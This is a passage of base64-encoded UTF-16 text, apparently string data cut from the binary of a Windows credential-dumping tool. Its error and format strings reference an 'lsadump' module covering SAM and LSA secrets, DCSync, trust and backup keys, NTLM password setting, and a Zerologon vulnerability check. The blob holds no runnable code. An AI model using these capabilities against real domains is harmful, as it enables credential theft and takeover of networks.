CAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAKACAAIAAgACAATABNACAAIAAgADoAIAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAgACAAIAAgACUAMAAyAHUAIAAgAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbABzAAAATwBsAGQAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAUgBhAG4AZABvAG0AIABWAGEAbAB1AGUAIAA6ACAAAAAgACAAIAAgACUAcwAKAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAgACAASQBuACAAAAAgAE8AdQB0ACAAAAAgAEkAbgAtADEAAABPAHUAdAAtADEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAbgB0AGQAcwAAAAAACQBQAEYAWAAgAGMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABsAGUAZwBhAGMAeQAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlAHkARgByAG8AbQBHAFUASQBEACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAHMAZQBjAHIAZQB0AAAAAAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAACgBDAHUAcgByAGUAbgB0ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgACAAIAAgACAAIAAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAUgBFAEYARQBSAFIARQBEAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABhAGMAYwBvAHUAbgB0AAAAYwBvAG0AcAB1AHQAZQByAAAAAAAgACAAQQBjAGMAbwB1AG4AdAA6ACAAJQBzAAoAAAAAACAAIABOAFQATABNACAAIAAgADoAIAAAACAAIABOAFQATABNAC0AMQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAFQAcgB1AHMAdABQAGEAcwBzAHcAbwByAGQAcwBHAGUAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAgAGQAbwBlAHMAIABuAG8AdAAgAG0AYQB0AGMAaAAgAEMAYQBuAGQAaQBkAGEAdABlAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAUgBlAHEAQwBoAGEAbABsAGUAbgBnAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAGMACgAAAAAAAAAKAD4APgAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzACAAYQByAGUAIABpAG4AIAB0AGgAZQAgAHQAYQByAGcAZQB0ACAAUwBBAE0AIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGEAbQBTAGUAdABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAaQBnAGUAcwB0ACAATgBUAEwATQAgAGgAYQBzAGgAIABmAHIAbwBtACAAcABhAHMAcwB3AG8AcgBkADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQB0AG4AdABsAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAJwAlAHMAJwAgAHQAbwAgAE4AVABMAE0AIABoAGEAcwBoACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAqACoAIABOAG8AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABwAHIAbwB2AGkAZABlAGQALAAgAHcAaQBsAGwAIAB1AHMAZQAgAHQAaABlACAAZABlAGYAYQB1AGwAdAAgAG8AbgBlACAAKgAqAAoAAAAAAE4AVABMAE0AIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAoAPgA+ACAAQwBoAGEAbgBnAGUAIABwAGEAcwBzAHcAbwByAGQAIABpAHMAIABhACAAcwB1AGMAYwBlAHMAcwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQgBhAGQAIABvAGwAZAAgAE4AVABMAE0AIABoAGEAcwBoACAAbwByACAAcABhAHMAcwB3AG8AcgBkACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABCAGEAZAAgAG4AZQB3ACAATgBUAEwATQAgAGgAYQBzAGgAIABvAHIAIABwAGEAcwBzAHcAbwByAGQAIQAgACgAcgBlAHMAdAByAGkAYwB0AGkAbwBuACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBhAG0AaQBDAGgAYQBuAGcAZQBQAGEAcwBzAHcAbwByAGQAVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAABvAGwAZABwAGEAcwBzAHcAbwByAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAaQBnAGUAcwB0ACAATgBUAEwATQAgAGgAYQBzAGgAIABmAHIAbwBtACAAbwBsAGQAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAMAA4AHgACgAAAG8AbABkAG4AdABsAG0AAABvAGwAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBvAG4AdgBlAHIAdAAgACcAJQBzACcAIAB0AG8AIABvAGwAZAAgAE4AVABMAE0AIABoAGEAcwBoACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBvAGwAZABwAGEAcwBzAHcAbwByAGQAOgAgAG8AcgAgAC8AbwBsAGQAbgB0AGwAbQA6ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAbgBlAHcAcABhAHMAcwB3AG8AcgBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGkAZwBlAHMAdAAgAE4AVABMAE0AIABoAGEAcwBoACAAZgByAG8AbQAgAG4AZQB3ACAAcABhAHMAcwB3AG8AcgBkADoAIAAlADAAOAB4AAoAAABuAGUAdwBuAHQAbABtAAAAbgBlAHcAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAbwBuAHYAZQByAHQAIAAnACUAcwAnACAAdABvACAAbgBlAHcAIABOAFQATABNACAAaABhAHMAaAAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAqACoAIABOAG8AIABuAGUAdwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAHAAcgBvAHYAaQBkAGUAZAAsACAAdwBpAGwAbAAgAHUAcwBlACAAdABoAGUAIABkAGUAZgBhAHUAbAB0ACAAbwBuAGUAIAAqACoACgAAAAAATwBMAEQAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAKAE4ARQBXACAATgBUAEwATQAgACAAIAAgACAAOgAgAAAAAABUAGEAcgBnAGUAdAAgAHMAZQByAHYAZQByADoAIAAlAHcAWgAKAAAAVABhAHIAZwBlAHQAIAB1AHMAZQByACAAIAA6ACAAJQB3AFoACgAAAHIAaQBkAAAAVABhAHIAZwBlAHQAIABSAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGUAbgB1AG0AZABvAG0AYQBpAG4AcwBfAHUAcwBlAHIAcwAgADsAIAAvAHUAcwBlAHIAIABvAHIAIAAvAHIAaQBkACAAaQBzACAAbgBlAGUAZABlAGQACgAAAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgACAAOgAgACUAdwBaAAoAAABEAG8AbQBhAGkAbgAgAFMASQBEACAAIAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AOgAgACUAMAA4AHgACgAAAFUAcwBlAHIAIABSAEkARAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZQBuAHUAbQBkAG8AbQBhAGkAbgBzAF8AdQBzAGUAcgBzAF8AZABhAHQAYQAgADsAIABOAG8AIABSAEkARAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGUAbgB1AG0AZABvAG0AYQBpAG4AcwBfAHUAcwBlAHIAcwBfAGQAYQB0AGEAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZQBuAHUAbQBkAG8AbQBhAGkAbgBzAF8AdQBzAGUAcgBzAF8AZABhAHQAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZQBuAHUAbQBkAG8AbQBhAGkAbgBzAF8AdQBzAGUAcgBzAF8AZABhAHQAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAHUAcwBlAHIAbgBhAG0AZQAgAG8AcgAgAHIAaQBkACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAASQBOAFQARQBHAFIASQBUAFkAAABQAFIASQBWAEEAQwBZAAAAVABPAEsARQBOAF8ATwBOAEwAWQAAAAAARABBAFQAQQBHAFIAQQBNAAAAAABDAE8ATgBOAEUAQwBUAEkATwBOAAAAAABNAFUATABUAEkAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAEMATABJAEUATgBUAF8ATwBOAEwAWQAAAEUAWABUAEUATgBEAEUARABfAEUAUgBSAE8AUgAAAAAASQBNAFAARQBSAFMATwBOAEEAVABJAE8ATgAAAEEAQwBDAEUAUABUAF8AVwBJAE4AMwAyAF8ATgBBAE0ARQAAAFMAVABSAEUAQQBNAAAAAABOAEUARwBPAFQASQBBAEIATABFAAAAAABHAFMAUwBfAEMATwBNAFAAQQBUAEkAQgBMAEUAAAAAAEwATwBHAE8ATgAAAEEAUwBDAEkASQBfAEIAVQBGAEYARQBSAFMAAABGAFIAQQBHAE0ARQBOAFQAAAAAAE0AVQBUAFUAQQBMAF8AQQBVAFQASAAAAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAFIARQBBAEQATwBOAEwAWQBfAFcASQBUAEgAXwBDAEgARQBDAEsAUwBVAE0AAAAAAFIARQBTAFQAUgBJAEMAVABFAEQAXwBUAE8ASwBFAE4AUwAAAE4ARQBHAE8AXwBFAFgAVABFAE4ARABFAFIAAABOAEUARwBPAFQASQBBAEIATABFADIAAABBAFAAUABDAE8ATgBUAEEASQBOAEUAUgBfAFAAQQBTAFMAVABIAFIATwBVAEcASAAAAAAAQQBQAFAAQwBPAE4AVABBAEkATgBFAFIAXwBDAEgARQBDAEsAUwAAAAAAAABOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAEMAYQBwAGEAYgBpAGwAaQB0AGkAZQBzADoAIAAlADAAOAB4ACAAKAAgAAAAKQAKAE0AYQB4AFQAbwBrAGUAbgAgACAAIAAgADoAIAAlAHUACgBSAFAAQwBJAEQAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA0AHgAIAAoACUAaAB1ACkACgBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAA6ACAAJQBoAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHAAYQBjAGsAYQBnAGUAcwAgADsAIABJAG4AaQB0AGkAYQBsAGkAegBlAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBwAGEAYwBrAGEAZwBlAHMAIAA7ACAAQQBjAHEAdQBpAHIAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMASABhAG4AZABsAGUAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcABhAGMAawBhAGcAZQBzACAAOwAgAEUAbgB1AG0AZQByAGEAdABlAFMAZQBjAHUAcgBpAHQAeQBQAGEAYwBrAGEAZwBlAHMAOgAgADAAeAAlADAAOAB4AAoAAAAAAE0AYQBjAGgAaQBuAGUAQgBvAHUAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAEMAbwBuAHQAcgBvAGwAXABMAHMAYQBcAEsAZQByAGIAZQByAG8AcwBcAFAAYQByAGEAbQBlAHQAZQByAHMAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBtAGIAYwAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATgB1AGwAbAAAAAAATQBzAHYAQQBwAAAAVwBvAHIAawBzAHQAYQB0AGkAbwBuAAAAVAByAHUAcwB0AGUAZABEAG4AcwBEAG8AbQBhAGkAbgAAAAAAVAByAHUAcwB0AGUAZABEAG8AbQBhAGkAbgAAAFUAYQBzAFMAZQByAHYAZQByAAAAUwBlAHIAdgBlAHIAAAAAAEMAZABjAFMAZQByAHYAZQByAAAAZQB4AHAAbABvAGkAdAAAAGQAZQB0AGUAYwB0AAAAAAAAAAAACgBUAGEAcgBnAGUAdAAgADoAIAAlAHMACgBBAGMAYwBvAHUAbgB0ADoAIAAlAHMACgBUAHkAcABlACAAIAAgADoAIAAlAHUAIAAoACUAcwApAAoATQBvAGQAZQAgACAAIAA6ACAAJQBzAAoACgAAAFIAUABDAAAAVAByAHkAaQBuAGcAIAB0AG8AIAAnAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABlACcALgAuAC4ACgAAAAAAAAAAAAoACgAgACAATgBlAHQAcgBTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyADoAIAAwAHgAJQAwADgAeAAAACAAIABOAGUAdAByAFMAZQByAHYAZQByAFAAYQBzAHMAdwBvAHIAZABTAGUAdAAyACAAOgAgADAAeAAlADAAOAB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHoAZQByAG8AbABvAGcAbwBuACAAOwAgAE4AZQB0AHIAUwBlAHIAdgBlAHIAUABhAHMAcwB3AG8AcgBkAFMAZQB0ADIAOgAgADAAeAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AegBlAHIAbwBsAG8AZwBvAG4AIAA7ACAATgBlAHQAcgBTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyADoAIABTAFQAQQBUAFUAUwBfAE4ATwBfAFQAUgBVAFMAVABfAFMAQQBNAF8AQQBDAEMATwBVAE4AVAAgACgAYwBhAG4AbgBvAHQAIABmAGkAbgBkACAAdABoAGUAIABhAGMAYwBvAHUAbgB0ACAAbwByACAAYgBhAGQAIAB0AHkAcABlACkAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB6AGUAcgBvAGwAbwBnAG8AbgAgADsAIABOAGUAdAByAFMAZQByAHYAZQByAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABlADIAOgAgADAAeAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AegBlAHIAbwBsAG8AZwBvAG4AIAA7ACAATgBlAHQAcgBTAGUAcgB2AGUAcgBSAGUAcQBDAGgAYQBsAGwAZQBuAGcAZQA6ACAAMAB4ACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB6AGUAcgBvAGwAbwBnAG8AbgAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATwBLACAALQAtACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAAAAAASwBPACAALQAtACAAbQBhAHkAYgBlACAAbgBvAHQAIAB2AHUAbABuAGUAcgBhAGIAbABlAAAAAAAKAAoAKgAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA6ACAAJQBzAAoAAABPAEsAIAAtAC0AIABtAGEAeQAgAGIAZQAgAHUAbgBzAHQAYQBiAGwAZQAAACoAIABTAGUAdAAgAHAAYQBzAHMAdwBvAHIAZAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUA